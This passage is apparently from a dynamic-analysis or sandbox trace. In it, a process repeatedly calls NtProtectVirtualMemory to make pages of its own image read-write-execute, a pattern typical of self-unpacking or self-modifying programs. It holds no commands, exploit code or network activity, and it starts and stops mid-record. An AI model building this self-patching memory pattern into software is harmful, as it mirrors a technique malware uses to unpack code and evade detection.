OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.194] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.204] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.214] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.225] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.241] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.252] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.318] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.377] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.411] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.439] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.451] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.468] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.528] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.569] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.580] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.590] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.608] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.628] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.666] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.676] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.686] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.703] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.724] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.752] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.763] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.773] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.799] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.821] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.833] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.920] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.930] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.004] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.015] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.077] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.087] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.099] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.117] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.176] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.209] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.262] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.303] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.313] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.351] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.372] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.396] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.413] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.431] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, 